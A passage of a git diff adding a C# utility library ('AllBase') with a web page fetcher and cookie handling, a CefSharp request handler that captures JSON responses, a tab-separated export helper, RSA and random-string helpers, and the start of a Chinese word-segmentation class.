//MemoryStream ms = new MemoryStream(); + //int num; + //byte[] buffer = new byte[1024]; + //do + //{ + // num = receiveStream.Read(buffer, 0, buffer.Length); + // if (num > 0) + // ms.Write(buffer, 0, num); + // len++; + //} while (num > 0 && len= max)//太大的文件直接跳过 + // return ""; + //b = ms.ToArray(); + //ms.Close(); + b = web.DownloadData(url); + string cookies1 = web.ResponseHeaders.Get("Set-Cookie"); //获取Cookies + string location = web.ResponseHeaders.Get("Location"); //跳转地址 + if (!string.IsNullOrEmpty(cookies1)) + { + cookies = UpCookies(cookies, cookies1); + bool ok = false; + foreach (var c in wc.Coockies) + { + if (c.Domain == domain) + { + c.Cookies = cookies; + ok = true; + } + } + if (!ok) + { + CoockiesBase c = new CoockiesBase(); + c.Cookies = cookies; + c.Domain = domain; + wc.Coockies.Add(c); + } + } + if (string.IsNullOrEmpty(location)) + { + string contentType = web.ResponseHeaders["Content-Type"]; + html = ""; + b = ZipHelper.Decompress(b); + if (b.Length >= max*1024)//太大的文件直接跳过 + return "文件太大"; + //b = GzipDeCompress(b); + if (b == null || b.Length == 0 || b.Length > 2 * 1024 * 1024) + return ""; + try + { + if (!string.IsNullOrEmpty(contentType)) + { + string c = GetRegexString(contentType, "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8").Replace(";", ""); + html = Encoding.GetEncoding(c).GetString(b); + } + } + if (string.IsNullOrEmpty(html)) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + string r = @"]*charset=[""']*([^>]+)[""']*[ />]"; + string c = GetRegexString(html, r); + if (c.Contains("\"")) + c = c.Substring(0, c.IndexOf("\"")); + if (c.Contains("'")) + c = c.Substring(0, c.IndexOf("'")); + if (string.IsNullOrEmpty(c)) + c = GetRegexString(html, @"]*charset=[""']([a-z0-9-]+)[""']>"); + if (string.IsNullOrEmpty(c) && !string.IsNullOrEmpty(html) && html.Contains("�") &&html.Length- html.Replace("�","").Length>50) + { + html = Encoding.GetEncoding("gbk").GetString(b); + } + if (!string.IsNullOrEmpty(c) && c.ToLower() != "utf-8") + { + html = Encoding.GetEncoding(c).GetString(b); + } + } + } + catch + { + } + if (IsUtf8|| !string.IsNullOrEmpty(html) && html.Substring(0, 1) == "锘") + { + html = Encoding.UTF8.GetString(b); + } + + } + if (retryTimes < 3 && (!string.IsNullOrEmpty(location) || string.IsNullOrEmpty(html))) + { + //下面是支持301和302跳转部分 + if (location.Length > 8 && (location.Substring(0, 7) == "http://" || location.Substring(0, 8) == "https://" || location.Substring(0, 6) == "ftp://")) + { + url = location; + } + else + { + if (location.Substring(0, 1) == "/") + { + string[] l = url.Split('/'); + if (l.Length > 3) + { + url = ""; + for (int i = 0; i < 3; i++) + url += l[i] + "/"; + url += location.Substring(1, location.Length - 1); + } + } + else + { + if (url.Substring(url.Length - 1, 1) == "/") + url += location; + else + url += "/" + location; + } + } + retryTimes++; + goto GotoAgen; + } + } + catch (Exception e) + { + if (e.Message.Contains("(404)") || e.Message.Contains("(403)") || e.Message.Contains("(500)")) + { + IsError = true; + html = e.Message; + } + if (!IsError && retryTimes < 1) + { + Thread.Sleep(2000); + retryTimes++; + goto GotoAgen; + } + IsError = true; + html = e.Message; + } + if (b == null || b.Length == 0) + return ""; + foreach (byte b1 in b) + { + if (b1 > 227 && b1 < 235) + { + isChinese = true; + break; + } + } + if (html.Length > 2 * 1024 * 1024) + { + had = false; + return ""; + } + had = true; + //if (b == null) // + return html; + + } + + + /// + /// 获取域名 + /// + /// + /// + private string GetDomain(string url) + { + try + { + url = url.Substring(url.IndexOf("//") + 2, url.Length - url.IndexOf("//") - 2); + if (url.IndexOf("/") > -1) + url = url.Substring(0, url.IndexOf("/")); + return url; + } + catch + { + return null; + } + } + + + /// + /// 返回单个正则分析结果 + /// + /// + /// + /// + private string GetRegexString(string HtmlString, string RegexString) + { + MatchCollection mc = Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase); + if (mc.Count > 0) + return mc[0].Groups[1].ToString(); + return ""; + } + + /// + /// 更新cookies + /// + /// + /// + /// + public string UpCookies(string old, string newc) + { + if (string.IsNullOrEmpty(newc)) + return old; + if (string.IsNullOrEmpty(old)) + old = " "; + int io = 0; + old = old.Trim(); + newc = newc.Trim(); + string[] o = old.Split(';'); + string[] n = newc.Split(';'); + List c = new List(); + for (int i = 0; i < o.Length; i++) + { + CoockiesValue cv = new CoockiesValue(); + io = o[i].IndexOf("="); + if (io > -1) + { + cv.Title = o[i].Substring(0, io).Trim(); + cv.Value = o[i].Substring(io + 1, o[i].Length - io - 1).Trim(); + } + else + { + if (!string.IsNullOrEmpty(o[i])) + cv.Title = o[i].Trim(); + } + if (string.IsNullOrEmpty(cv.Title) || cv.Title == "domain" || cv.Title == "expires" || cv.Title == "path" || cv.Title.ToLower() == "httponly") + continue; + if (!string.IsNullOrEmpty(cv.Title)) + c.Add(cv); + } + for (int i = 0; i < n.Length; i++) + { + CoockiesValue cv = new CoockiesValue(); + io = n[i].IndexOf("="); + if (io > -1) + { + cv.Title = n[i].Substring(0, io).Trim(); + cv.Value = n[i].Substring(io + 1, n[i].Length - io - 1).Trim(); + } + else + { + if (!string.IsNullOrEmpty(n[i])) + cv.Title = n[i].Trim(); + } + if (!string.IsNullOrEmpty(cv.Title)) + { + bool isHad = false; + for (int j = 0; j < c.Count; j++) + { + if (cv.Title == c[j].Title) + { + c[j].Value = cv.Value; + isHad = true; + break; + } + } + if (string.IsNullOrEmpty(cv.Title) || string.IsNullOrEmpty(cv.Value) || cv.Title == "domain" || cv.Title == "expires" + || cv.Title == "path"&& !cv.Value.Contains("/,") || cv.Title.ToLower() == "httponly") + continue; + if (!isHad) + { + if (cv.Title == "path" && cv.Value.Contains("/,")&&cv.Value.IndexOf("/,")==0 && cv.Value.Length>2) + { + string t = cv.Value.Substring(2); + if(!t.Contains("=")|| t.IndexOf("=")>t.Length-1) + continue; + cv.Title = t.Substring(0, t.IndexOf("=")); + cv.Value = t.Substring(t.IndexOf("=") + 1); + } + c.Add(cv); + } + } + } + string temp = ""; + for (int i = 0; i < c.Count; i++) + { + if (string.IsNullOrEmpty(c[i].Value)) + temp += c[i].Title + "; "; + else + temp += c[i].Title + "=" + c[i].Value + "; "; + } + return temp; + } + } +} diff --git a/AllBase/OutExcel.cs b/AllBase/OutExcel.cs new file mode 100644 index 0000000..12e5ad9 --- /dev/null +++ b/AllBase/OutExcel.cs @@ -0,0 +1,131 @@ +using System.IO; +using System.Text; +using System.Windows.Forms; + +namespace AllBase +{ + public class OutExcel + { + /// + /// 保存数据 + /// + /// + /// + /// + public static bool SaveFile(string patch, DataGridView dt) + { + string temp = ""; + for (int i = 0; i < dt.ColumnCount; i++) + { + if (dt.Columns[i].Visible && dt.Columns[i].HeaderText != "删除" && dt.Columns[i].HeaderText != "历史记录") + temp += dt.Columns[i].HeaderText + "\t"; + } + if (!string.IsNullOrEmpty(temp)) + temp += "\r\n"; + try + { + if (File.Exists(patch)) + File.Delete(patch); + File.WriteAllText(patch, temp, Encoding.Unicode); + temp = ""; + } + catch + { + return false; + } + for (int i = 0; i < dt.RowCount; i++) + { + for (int j = 0; j < dt.ColumnCount; j++) + { + if (dt.Columns[j].Visible && dt.Columns[j].HeaderText != "删除" && dt.Columns[j].HeaderText != "历史记录") + temp += dt.Rows[i].Cells[j].Value + "\t"; + } + temp += "\r\n"; + if (temp.Length > 2000) + { + try + { + File.AppendAllText(patch, temp, Encoding.Unicode); + temp = ""; + } + catch + { + //return false; + } + } + } + if (string.IsNullOrEmpty(temp)) + return true; + try + { + File.AppendAllText(patch, temp, Encoding.Unicode); + } + catch + { + return false; + } + return true; + } + + public static bool SaveFileCheckBox(string patch, DataGridView dt) + { + string temp = ""; + for (int i = 0; i < dt.ColumnCount; i++) + { + if (dt.Columns[i].HeaderText != "删除" && dt.Columns[i].HeaderText != "全选") + temp += dt.Columns[i].HeaderText + "\t"; + } + if (!string.IsNullOrEmpty(temp)) + temp += "\r\n"; + try + { + if (File.Exists(patch)) + File.Delete(patch); + File.WriteAllText(patch, temp, Encoding.Unicode); + temp = ""; + } + catch + { + return false; + } + for (int i = 0; i < dt.RowCount; i++) + { + if (bool.Parse(dt.Rows[i].Cells["isCheckBoxColumny"].Value.ToString()) == false) + { + continue; + } + for (int j = 0; j < dt.ColumnCount; j++) + { + if (dt.Columns[j].HeaderText != "删除" && dt.Columns[j].HeaderText != "全选") + { + temp += dt.Rows[i].Cells[j].Value + "\t"; + } + } + temp += "\r\n"; + if (temp.Length > 2000) + { + try + { + File.AppendAllText(patch, temp, Encoding.Unicode); + temp = ""; + } + catch + { + //return false; + } + } + } + if (string.IsNullOrEmpty(temp)) + return true; + try + { + File.AppendAllText(patch, temp, Encoding.Unicode); + } + catch + { + return false; + } + return true; + } + } +} diff --git a/AllBase/Properties/AssemblyInfo.cs b/AllBase/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..b9d1fae --- /dev/null +++ b/AllBase/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// 有关程序集的常规信息通过以下 +// 特性集控制。更改这些特性值可修改 +// 与程序集关联的信息。 +[assembly: AssemblyTitle("AllBase")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("Microsoft")] +[assembly: AssemblyProduct("AllBase")] +[assembly: AssemblyCopyright("Copyright © Microsoft 2015")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// 将 ComVisible 设置为 false 使此程序集中的类型 +// 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型, +// 则将该类型上的 ComVisible 特性设置为 true。 +[assembly: ComVisible(false)] + +// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID +[assembly: Guid("08485fa0-be99-4481-b47e-dc7a331c2f34")] + +// 程序集的版本信息由下面四个值组成: +// +// 主版本 +// 次版本 +// 内部版本号 +// 修订号 +// +// 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值, +// 方法是按如下所示使用“*”: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AllBase/Properties/Resources.Designer.cs b/AllBase/Properties/Resources.Designer.cs new file mode 100644 index 0000000..94ae219 --- /dev/null +++ b/AllBase/Properties/Resources.Designer.cs @@ -0,0 +1,63 @@ +//------------------------------------------------------------------------------ +// +// 此代码由工具生成。 +// 运行时版本:4.0.30319.42000 +// +// 对此文件的更改可能会导致不正确的行为,并且如果 +// 重新生成代码,这些更改将会丢失。 +// +//------------------------------------------------------------------------------ + +namespace AllBase.Properties { + using System; + + + /// + /// 一个强类型的资源类,用于查找本地化的字符串等。 + /// + // 此类是由 StronglyTypedResourceBuilder + // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 + // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen + // (以 /str 作为命令选项),或重新生成 VS 项目。 + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// 返回此类使用的缓存的 ResourceManager 实例。 + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("AllBase.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// 重写当前线程的 CurrentUICulture 属性 + /// 重写当前线程的 CurrentUICulture 属性。 + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + } +} diff --git a/AllBase/Properties/Resources.resx b/AllBase/Properties/Resources.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/AllBase/Properties/Resources.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/AllBase/Randomx.cs b/AllBase/Randomx.cs new file mode 100644 index 0000000..114f816 --- /dev/null +++ b/AllBase/Randomx.cs @@ -0,0 +1,58 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace AllBase +{ + public class Randomx + { + public static string WordBase = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz"; + public static string NumberBase = "0123456789"; + public static string SignWordBase = ".`~^*_| -#$%&?+";//".`~^*_| -#$%&?"; + + public static int GetId(int max) + { + return new Random(Guid.NewGuid().GetHashCode()).Next(0, max); + } + + public static int GetId(int min, int max) + { + return new Random(Guid.NewGuid().GetHashCode()).Next(min, max); + } + + public static string GetWord(int len) + { + StringBuilder s = new StringBuilder(); + for (int i = 0; i < len; i++) + { + s.Append(WordBase[new Random(Guid.NewGuid().GetHashCode()).Next(WordBase.Length)]); + } + return s.ToString(); + } + public static string GetNumber(int len) + { + StringBuilder s = new StringBuilder(); + for (int i = 0; i < len; i++) + { + s.Append(NumberBase[new Random(Guid.NewGuid().GetHashCode()).Next(NumberBase.Length)]); + } + return s.ToString(); + } + /// + /// 获取新的属性名称 + /// + /// + /// + public static string GetNewProp(bool begin, string name) + { + char w = SignWordBase[new Random(Guid.NewGuid().GetHashCode()).Next(SignWordBase.Length)]; + char add = SignWordBase[new Random(Guid.NewGuid().GetHashCode()).Next(SignWordBase.Length)]; + if (begin) + name +=""+ w + add ; + else + name = ""+add + w + "" + name; + return name; + } + } +} diff --git a/AllBase/RequestHandler.cs b/AllBase/RequestHandler.cs new file mode 100644 index 0000000..52e3697 --- /dev/null +++ b/AllBase/RequestHandler.cs @@ -0,0 +1,340 @@ +using CefSharp; +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.Collections.Specialized; +using System.IO; +using System.Linq; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase +{ + public class RequestHandler : IRequestHandler + { + public List IgnoreList = new List(); + public List NotIgnoreList = new List(); + public string UserAgent = string.Empty; + public List CookieList = new List(); // 留作测试使用 + + public event Action ResourceLoadComplete; // requestUrl, postData, responseData + public event Action ResourceRedirect; // requestUrl, postData, redirectUrl + + bool IRequestHandler.OnBeforeBrowse(IWebBrowser browserControl, IBrowser browser, IFrame frame, IRequest request, bool isRedirect) + { + return false; + } + + bool IRequestHandler.OnOpenUrlFromTab(IWebBrowser browserControl, IBrowser browser, IFrame frame, string targetUrl, WindowOpenDisposition targetDisposition, bool userGesture) + { + return OnOpenUrlFromTab(browserControl, browser, frame, targetUrl, targetDisposition, userGesture); + } + + protected virtual bool OnOpenUrlFromTab(IWebBrowser browserControl, IBrowser browser, IFrame frame, string targetUrl, WindowOpenDisposition targetDisposition, bool userGesture) + { + return false; + } + + bool IRequestHandler.OnCertificateError(IWebBrowser browserControl, IBrowser browser, CefErrorCode errorCode, string requestUrl, ISslInfo sslInfo, IRequestCallback callback) + { + //NOTE: If you do not wish to implement this method returning false is the default behaviour + // We also suggest you explicitly Dispose of the callback as it wraps an unmanaged resource. + //callback.Dispose(); + //return false; + + //NOTE: When executing the callback in an async fashion need to check to see if it's disposed + if (!callback.IsDisposed) + { + using (callback) + { + //To allow certificate + //callback.Continue(true); + //return true; + } + } + return false; + } + + void IRequestHandler.OnPluginCrashed(IWebBrowser browserControl, IBrowser browser, string pluginPath) + { + // TODO: Add your own code here for handling scenarios where a plugin crashed, for one reason or another. + } + + CefReturnValue IRequestHandler.OnBeforeResourceLoad(IWebBrowser browserControl, IBrowser browser, IFrame frame, IRequest request, IRequestCallback callback) + { + if (NotIgnoreList.Any()) + { + if (NotIgnoreList.Where(p => request.Url.Contains(p)).Any()) + { + return CefReturnValue.Continue; + } + } + if (IgnoreList.Any()) + { + if (IgnoreList.Where(p => request.Url.Contains(p)).Any()) + { + return CefReturnValue.Cancel; + } + } + NameValueCollection headers = request.Headers; + if (!string.IsNullOrEmpty(UserAgent)) + { + headers["User-Agent"] = UserAgent; + } + request.Headers = headers; + return CefReturnValue.Continue; + } + + bool IRequestHandler.GetAuthCredentials(IWebBrowser browserControl, IBrowser browser, IFrame frame, bool isProxy, string host, int port, string realm, string scheme, IAuthCallback callback) + { + //NOTE: If you do not wish to implement this method returning false is the default behaviour + // We also suggest you explicitly Dispose of the callback as it wraps an unmanaged resource. + + callback.Dispose(); + return false; + } + + bool IRequestHandler.OnSelectClientCertificate(IWebBrowser browserControl, IBrowser browser, bool isProxy, string host, int port, X509Certificate2Collection certificates, ISelectClientCertificateCallback callback) + { + //NOTE: If you do not wish to implement this method returning false is the default behaviour + // We also suggest you explicitly Dispose of the callback as it wraps an unmanaged resource. + + return OnSelectClientCertificate(browserControl, browser, isProxy, host, port, certificates, callback); + } + + protected virtual bool OnSelectClientCertificate(IWebBrowser browserControl, IBrowser browser, bool isProxy, string host, int port, X509Certificate2Collection certificates, ISelectClientCertificateCallback callback) + { + callback.Dispose(); + return false; + } + + void IRequestHandler.OnRenderProcessTerminated(IWebBrowser browserControl, IBrowser browser, CefTerminationStatus status) + { + // TODO: Add your own code here for handling scenarios where the Render Process terminated for one reason or another. + // browserControl.Load(CefExample.RenderProcessCrashedUrl); + } + + bool IRequestHandler.OnQuotaRequest(IWebBrowser browserControl, IBrowser browser, string originUrl, long newSize, IRequestCallback callback) + { + //NOTE: If you do not wish to implement this method returning false is the default behaviour + // We also suggest you explicitly Dispose of the callback as it wraps an unmanaged resource. + //callback.Dispose(); + //return false; + + //NOTE: When executing the callback in an async fashion need to check to see if it's disposed + if (!callback.IsDisposed) + { + using (callback) + { + //Accept Request to raise Quota + //callback.Continue(true); + //return true; + } + } + return false; + } + + void IRequestHandler.OnResourceRedirect(IWebBrowser browserControl, IBrowser browser, IFrame frame, IRequest request, IResponse response, ref string newUrl) + { + if (ResourceRedirect != null) + { + string postData = GetPostData(request); + ResourceRedirect.Invoke(request.Url, postData, newUrl); + } + } + + bool IRequestHandler.OnProtocolExecution(IWebBrowser browserControl, IBrowser browser, string url) + { + return url.StartsWith("mailto"); + } + + void IRequestHandler.OnRenderViewReady(IWebBrowser browserControl, IBrowser browser) + { + } + + bool IRequestHandler.OnResourceResponse(IWebBrowser browserControl, IBrowser browser, IFrame frame, IRequest request, IResponse response) + { + //NOTE: You cannot modify the response, only the request + // You can now access the headers + //var headers = response.ResponseHeaders; + return false; + } + + IResponseFilter IRequestHandler.GetResourceResponseFilter(IWebBrowser browserControl, IBrowser browser, IFrame frame, IRequest request, IResponse response) + { + string cookie = response.ResponseHeaders["Set-Cookie"].ParseToString(); + if (!string.IsNullOrEmpty(cookie)) + { + SetCookie(cookie); + } + string contentType = response.ResponseHeaders["Content-Type"]; + if (string.IsNullOrEmpty(contentType)) + { + return null; + } + if (contentType.Contains("application/json") || contentType.Contains("text/javascript")) + { + if (ResourceLoadComplete != null) + { + IResponseFilter filter = FilterManager.CreateFilter(request.Identifier.ToString()); + return filter; + } + } + return null; + } + + void IRequestHandler.OnResourceLoadComplete(IWebBrowser browserControl, IBrowser browser, IFrame frame, IRequest request, IResponse response, UrlRequestStatus status, long receivedContentLength) + { + string contentType = response.ResponseHeaders["Content-Type"]; + if (string.IsNullOrEmpty(contentType)) + { + return; + } + if (contentType.Contains("application/json") || contentType.Contains("text/javascript")) + { + if (ResourceLoadComplete != null) + { + JsonFilter jsonFilter = FilterManager.GetFileter(request.Identifier.ToString()) as JsonFilter; + if (jsonFilter != null) + { + UTF8Encoding encoding = new UTF8Encoding(); + string responseData = encoding.GetString(jsonFilter.DataAll.ToArray()); + string postData = GetPostData(request); + ResourceLoadComplete.Invoke(request.Url, postData, responseData); + } + } + } + else + { + return; + } + } + + private void SetCookie(string cookie) + { + string[] commaArr = cookie.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries); + foreach (string comma in commaArr) + { + string[] semicolonArr = comma.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + foreach (string semicolon in semicolonArr) + { + string temp = semicolon.ParseToString().Trim(); + if (string.IsNullOrEmpty(temp)) + { + continue; + } + if (!temp.Contains("=")) + { + continue; + } + if (temp.ToLower().StartsWith("path=") || temp.ToLower().StartsWith("expires=") || temp.ToLower().StartsWith("domain=")) + { + continue; + } + string[] keyValue = temp.Split('='); + Cookie cookieObj = CookieList.Where(p => p.Name == keyValue[0]).FirstOrDefault(); + if (cookieObj == null) + { + cookieObj = new Cookie + { + Name = keyValue[0], + Value = keyValue[1] + }; + CookieList.Add(cookieObj); + } + else + { + cookieObj.Value = keyValue[1]; + } + } + } + } + + private string GetPostData(IRequest request) + { + string postData = string.Empty; + if (request.PostData != null && request.PostData.Elements.Any()) + { + UTF8Encoding encoding = new UTF8Encoding(); + postData = encoding.GetString(request.PostData.Elements[0].Bytes); + postData = GetHtml.UrlDecode(postData); + } + return postData; + } + } + + public class JsonFilter : IResponseFilter + { + public List DataAll = new List(); + + public FilterStatus Filter(Stream dataIn, out long dataInRead, Stream dataOut, out long dataOutWritten) + { + try + { + if (dataIn == null || dataIn.Length == 0) + { + dataInRead = 0; + dataOutWritten = 0; + + return FilterStatus.Done; + } + + dataInRead = dataIn.Length; + dataOutWritten = Math.Min(dataInRead, dataOut.Length); + + dataIn.CopyTo(dataOut); + dataIn.Seek(0, SeekOrigin.Begin); + byte[] bs = new byte[dataIn.Length]; + dataIn.Read(bs, 0, bs.Length); + DataAll.AddRange(bs); + + dataInRead = dataIn.Length; + dataOutWritten = dataIn.Length; + + return FilterStatus.NeedMoreData; + } + catch (Exception ex) + { + dataInRead = dataIn.Length; + dataOutWritten = dataIn.Length; + + return FilterStatus.Done; + } + } + + public bool InitFilter() + { + return true; + } + + public void Dispose() + { + + } + } + + public class FilterManager + { + private static Dictionary dataList = new Dictionary(); + + public static IResponseFilter CreateFilter(string guid) + { + lock (dataList) + { + var filter = new JsonFilter(); + dataList.Add(guid, filter); + + return filter; + } + } + + public static IResponseFilter GetFileter(string guid) + { + lock (dataList) + { + return dataList[guid]; + } + } + } +} diff --git a/AllBase/RsaBase.cs b/AllBase/RsaBase.cs new file mode 100644 index 0000000..ed7a758 --- /dev/null +++ b/AllBase/RsaBase.cs @@ -0,0 +1,94 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase +{ + class RsaBase + { + + /// + /// RSA签名 + /// + /// 私钥 + /// 待签名的内容 + /// + public static string RSASignJava(string data, string privateKeyJava, string hashAlgorithm = "MD5", string encoding = "UTF-8") + { + RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(); + //rsa.FromXmlString(); + //rsa.FromPrivateKeyJavaString(privateKeyJava);//加载私钥 + //RSAPKCS1SignatureFormatter RSAFormatter = new RSAPKCS1SignatureFormatter(rsa); + ////设置签名的算法为MD5 MD5withRSA 签名 + //RSAFormatter.SetHashAlgorithm(hashAlgorithm); + + + var dataBytes = Encoding.GetEncoding(encoding).GetBytes(data); + var HashbyteSignature = rsa.SignData(dataBytes, hashAlgorithm); + return Convert.ToBase64String(HashbyteSignature); + + //byte[] HashbyteSignature = ConvertToRgbHash(data, encoding); + + //byte[] dataBytes =Encoding.GetEncoding(encoding).GetBytes(data); + //HashbyteSignature = rsa.SignData(dataBytes, hashAlgorithm); + //return Convert.ToBase64String(HashbyteSignature); + //执行签名 + //EncryptedSignatureData = RSAFormatter.CreateSignature(HashbyteSignature); + //return Convert.ToBase64String(RSAFormatter.CreateSignature(HashbyteSignature)); + //return result.Replace("=", String.Empty).Replace('+', '-').Replace('/', '_'); + } + //RSA加密,随机生成公私钥对并作为出参返回 + static public string RSA_Encrypt(string str_Plain_Text, out string str_Public_Key, out string str_Private_Key) + { + str_Public_Key = ""; + str_Private_Key = ""; + UnicodeEncoding ByteConverter = new UnicodeEncoding(); + byte[] DataToEncrypt = ByteConverter.GetBytes(str_Plain_Text); + try + { + RSACryptoServiceProvider RSA = new RSACryptoServiceProvider(); + str_Public_Key = Convert.ToBase64String(RSA.ExportCspBlob(false)); + str_Private_Key = Convert.ToBase64String(RSA.ExportCspBlob(true)); + + //OAEP padding is only available on Microsoft Windows XP or later. + byte[] bytes_Cypher_Text = RSA.Encrypt(DataToEncrypt, false); + str_Public_Key = Convert.ToBase64String(RSA.ExportCspBlob(false)); + str_Private_Key = Convert.ToBase64String(RSA.ExportCspBlob(true)); + string str_Cypher_Text = Convert.ToBase64String(bytes_Cypher_Text); + return str_Cypher_Text; + } + catch (CryptographicException e) + { + Console.WriteLine(e.Message); + return null; + } + } + + //RSA解密 + static public string RSA_Decrypt(string str_Cypher_Text, string str_Private_Key) + { + byte[] DataToDecrypt = Convert.FromBase64String(str_Cypher_Text); + try + { + RSACryptoServiceProvider RSA = new RSACryptoServiceProvider(); + //RSA.ImportParameters(RSAKeyInfo); + byte[] bytes_Public_Key = Convert.FromBase64String(str_Private_Key); + RSA.ImportCspBlob(bytes_Public_Key); + + //OAEP padding is only available on Microsoft Windows XP or later. + byte[] bytes_Plain_Text = RSA.Decrypt(DataToDecrypt, false); + UnicodeEncoding ByteConverter = new UnicodeEncoding(); + string str_Plain_Text = ByteConverter.GetString(bytes_Plain_Text); + return str_Plain_Text; + } + catch (CryptographicException e) + { + Console.WriteLine(e.ToString()); + return null; + } + } + } +} diff --git a/AllBase/Segment.cs b/AllBase/Segment.cs new file mode 100644 index 0000000..4a9c57c --- /dev/null +++ b/AllBase/Segment.cs @@ -0,0 +1,498 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; + +namespace AllBase +{ + public class Segment + { + private static Dictionary> WordList = new Dictionary>(); + + /// + /// 关键词队列 + /// + private string words = " "; + + public bool NoAdd = false; + + /// + /// 获取绝对地址 + /// + /// + private static string GetPatch() + { + string patch = Process.GetCurrentProcess().MainModule.FileName; + string[] l = patch.Split('\\'); + patch = ""; + for (int i = 0; i < l.Length - 1; i++) + patch += l[i] + "\\"; + return patch; + } + /// + /// 初始化 + /// + public static void Int() + { + //MysqlHelper.ErrorString += "正在初始化分词库\r\n"; + string f = GetPatch() + "\\Segment.dll"; + if (!File.Exists(f)) + GetHtml.DownloadFile("http://dl.1n11.com/Segment.xml", f); + if (!File.Exists(f)) + { + BaseClass.ViewCode += "分词库加载失败,请前往官网下载完整版本"; + return; + } + if (WordList.Count > 0) + return; + for (int i = 2; i < 10; i++) + { + List w = new List(); + WordList.Add(i, w); + } + string[] l = File.ReadAllLines(f, Encoding.UTF8); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i])) + continue; + string key = l[i]; + if (key.Contains("\t") && key.IndexOf("\t")>0) + key = key.Substring(0, key.IndexOf("\t")); + if (key.Length < 2 || key.Length > 8) + continue; + WordList[key.Length].Add(key); + } + } + /// + /// 二分法提取关键词 + /// + /// + /// + /// + /// + private void GetKeywordList(int len, ref List WordList, string html, ref List word) + { + string temp = ""; + for (int i = 0; i <= html.Length - len; ) + { + temp = html.Substring(i, len); + if (!temp.Contains(" ") && Dichotomy(temp, ref WordList)) + { + AddWord(temp, ref word); + i += len; + continue; + } + i++; + } + } + + + /// + /// 分词 + /// + /// + /// + public List Get(string html) + { + if (string.IsNullOrEmpty(html)) + return null; + words = " "; + //WordList.Clear(); + html = html.ToLower(); + if (html.Length > 20000) + html = html.Substring(0, 20000); + BaseRegex.Relpace(ref html, @"(&[\w]+;)", " "); + BaseRegex.Relpace(ref html, @"([ ]{2,2000})", " "); + if (WordList.Count == 0) + { + BaseClass.ViewCode += "分词库为空,请检查系统是否正常"; + return null; + } + + byte[] b = Encoding.UTF8.GetBytes(html); + //===============先处理特殊字符================// + for (int i = 9; i > 1; i--) + GetKeywords2(WordList[i], ref b, i * 3); + + //GetKeywords2(ref WordList2, ref b, 6); + string[] l = new[] + { + @"((http|ftp|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-\@?^=%&/~\+#])?)", + @"([-a-z0-9\.@]+)" + + }; + for (int i = 0; i < l.Length; i++) + { + var m = BaseRegex.GetMatchRegex(ref html, l[i]); + AddKeyword(ref m); + } + List word = ReturnList(); + if (html.Length > 15000 || word.Count > 3000 || NoAdd) //太长则不执行消耗资源的自动学习功能 + return word; + + //==========自动学习关键词=========// + for (int i = 0; i < word.Count; i++) + html = html.Replace(word[i], " "); + html = html.Replace("的", " "); + BaseRegex.Relpace(ref html, @"([ ]+)", " "); + char t; + for (int i = 0; i < html.Length; i++) + { + t = char.Parse(html.Substring(i, 1)); + if (t != ' ' && !IsChineseWord(t)) + html = html.Replace(t.ToString(), " "); + } + 